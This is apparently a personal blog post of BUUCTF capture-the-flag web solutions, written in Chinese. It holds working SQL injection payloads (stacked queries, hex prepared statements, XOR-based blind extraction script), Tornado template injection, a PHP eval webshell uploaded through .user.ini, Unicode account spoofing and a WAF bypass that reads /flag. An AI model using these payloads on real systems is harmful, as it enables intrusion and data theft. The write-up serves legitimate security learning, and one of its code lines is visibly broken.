【web】BUUCTF-web刷题记录

本来一题一篇文章,结果发现太浪费了,所以整合起来了,这篇博文就记录 BUUCTF 的  web 题目的题解吧!

 

随便注

 

随便输入一个单引号,报错

 

order by 3就不行了

 

尝试联合查询的时候出现提示:

"/select|update|delete|drop|insert|where|\./i"

 

一个正则可视化网站:https://regexper.com

 

 使用堆叠注入:1';show tables;#

 

看一下表里有什么列名:1';show columns from `1919810931114514`;#

(注意,字符串为表名的表操作时要加反引号)

 

但是没办法使用 select * from `1919810931114514`

看网上师傅们有两种方法,第一种:mysql 预定义语句

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare execsql from @a;execute execsql;#

hex decode 以后是:?inject=1';SeT@a=select * from `1919810931114514`;Prepare execsql from @a;execute execsql;#

 

 

 

还有一种方法时是:改表名 这样查询的时候就可以查询到 flag

?inject=1';
rename tables `words` to `test`;rename tables `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#

 

意思分别是:把 words 表改名为 test,把 1919810931114541 改名为 words

把列名 flag 改为 id

 

这样在 1'; or 1=1# 查询的时候就会把所有的都列出来,这样就可以看到 flag 了

 

easy_tornado

 

打开看到有三个文件:

 

三个文件内容如下:

 

通过 url 知道,访问一个文件需要知道:filename 跟 filehash

 

企图直接访问是不行的,想到了 burp 抓包,但是抓了半天没抓到,看了网上的 wp 是 模版注入

 

tornado 是一个 python 的模板,welcome.txt 中的 render 是 python 中的一个渲染函数,

报错时候的 url 是这样的

 

尝试把后面换成:{{111}},输出了!

 

在 tornado 模板中,存在一些可以访问的快速对象,例如:

 <title>
     {{ escape(handler.settings["cookie"]) }}
 </title>

 

那么输入:{{handler.settings}}

 

拿到 cookie 就 OK 了!

import hashlib
def md5value(s):
    md5 = hashlib.md5() 
    md5.update(s) 
    return md5.hexdigest()
def jiami(): 
    filename = '/fllllllllllllag'
    cookie_s ="ea7d75de-4ca5-486a-a69c-e690f3a8c217"
    print(md5value(filename.encode('utf-8')))
    x=md5value(filename.encode('utf-8'))
    y=cookie_s+xprint(md5value(y.encode('utf-8')))
jiami()

 

 

EasySQL

 

这道题目有两种解法,一种是:*,1,这样查询结果会把表中所有的数据返回来(据说是非预期解,出题人可能忘记过滤掉*了)

还有一种说是考察sql_mode,通过堆叠注入修改sql_mode,

可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 || 视为字符串连接符而非 或 运算符 

因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag 

 

Payload : 

1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

拼接后就变成了

SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag

 

高明的黑客

 

访问提示源码在 www.tar.gz

 

在网址后面加上 www.tar.gz 是可以下载下来的

 

下下来里面超级多 php 文件,用大佬的 python 脚本筛选出来

import os,re
import requests
filenames = os.listdir('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
    print(name)
    with open('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'echo "got it"'
            flag = 'got it'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name + '?' + passwd + '='+ command)
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name,data={passwd:command})
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('POST:  ' + passwd)
        except : pass

 

 我参考的网上的 wp 直接把 x 开头之前的 php 文件删掉了,不然要跑很长时间(php 版本要用 7 以上的)

 

访问 xk0SzyKwfzw.php?Efa5BVG= cat /flag 得到 flag

 

admin

 

网上的 wp 有三个方法,这里只记录一个,Unicode 欺骗

https://www.anquanke.com/post/id/164086

 

注册用户:ᴬdmin 

会将其变成:Admin

修改密码的时候会变成:admin

这样就可以直接访问 admin 用户

 

checkin

拿到题目,是一个上传界面

 

尝试上传,php 显示非法后缀,传图马显示内容里面有 <?

尝试这样的:

GIF89a
<script language="php">eval ($_POST['yichen']);</script>

 

 

成功上传,同时还显示了文件夹下的内容 

 

想上传 .htaccess 把图片马解析成为 php 但是失败了

看 wp 以后学到了 .user.ini 来上传后门

了解一下,先从 php.ini 说起 php.ini 是 php 的默认配置文件,其中包括了很多 php 的配置

其中 PHP_INI_USER 的配置项,可以在 ini_set () 函数中设置、注册表中设置,再就是.user.ini 中设置可以理解为 php 是允许用户自定义的 php.ini

实际上,除了 PHP_INI_SYSTEM 以外的模式(包括 PHP_INI_ALL)都是可以通过.user.ini 来设置的

而且 php.ini 是种动态加载的 ini 文件,不需要重启服务,只需要等待user_ini.cache_ttl 所设置的时间(默认300秒)就可以

需要看的是这两个选项,它们的作用是指定一个文件,会自动把这个文件包含在其他要执行的文件里面,相当于 require()

 

使用方法很简单,只需要在 .user.ini 文件中写:

auto_prepend_file=文件名(比如:yichen.jpg)

 

解题:先上传一个 .user.ini 文件

 

在上传一个 yichen.jpg 文件

 

然后在访问同一文件夹下的 index.php 就可以得到 flag 了

 

 Hack World

 

sql注入题目,通过基于时间的盲注可以测出来,但是不会写脚本,懒得一个一个测,看了师傅们的wp

 师傅们用了 异或 这种操作,长见识了,师傅们的 WP:

(意识到应该整理一些 sqli 的 FUZZ 字典

import requests
from lxml import etree
def a():
    url="http://af100f25-ad84-449a-98cc-64ef4e7fda40.node3.buuoj.cn"
    flag="Hello, glzjin wants a girlfriend."
    final=""
    stop=0
    for i in range(1,1290):
         print("*"*50,i,"*"*50)
         stop=0
         for j in range(32,129):
             stop = j
             data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}
             re = requests.post(url=url,data=data).text.replace('\n','')
             html = etree.HTML(re).xpath("//text()")
             # print(">>",html)
             if flag in html:
                  final+=chr(j)
                  print("\n\t\t\t\t",final)
                  break

         if stop >= 128:
            print("*"*50,"结束")
            print(">>",final)
            break

if __name__ == '__main__':
       a()

 

 Easy Cacl

 

 PHP 字符串解析特性

 当 php 查询字符串进行解析的时候会将某些字符删除或用下划线代替

参考:https://www.freebuf.com/articles/web/213359.html

 

在 freebuf 的文章中,发现了上面这些是可以被用来替换的

用到这道题目上来, WAF 的存在使得没法给 num 传字符,但是如果在 num 前面加上个空格,那样 WAF 在检测的时候就不会检测到 num 这个参数,但是 PHP在解析的时候会把空格删掉,这样就可以命令执行了,同时 calc.php 中还有个黑名单,可以使用 chr() 来绕过

查看目录

calc.php? num=1;var_dump(scandir(chr(47)))

查看 flag

calc.php? num=1;var_dump(readfile(chr(47).f1agg))

不太明白为啥直接f1agg不行

posted @ 2019-09-12 20:35  yichen0115  阅读(1531)  评论(0编辑  收藏  举报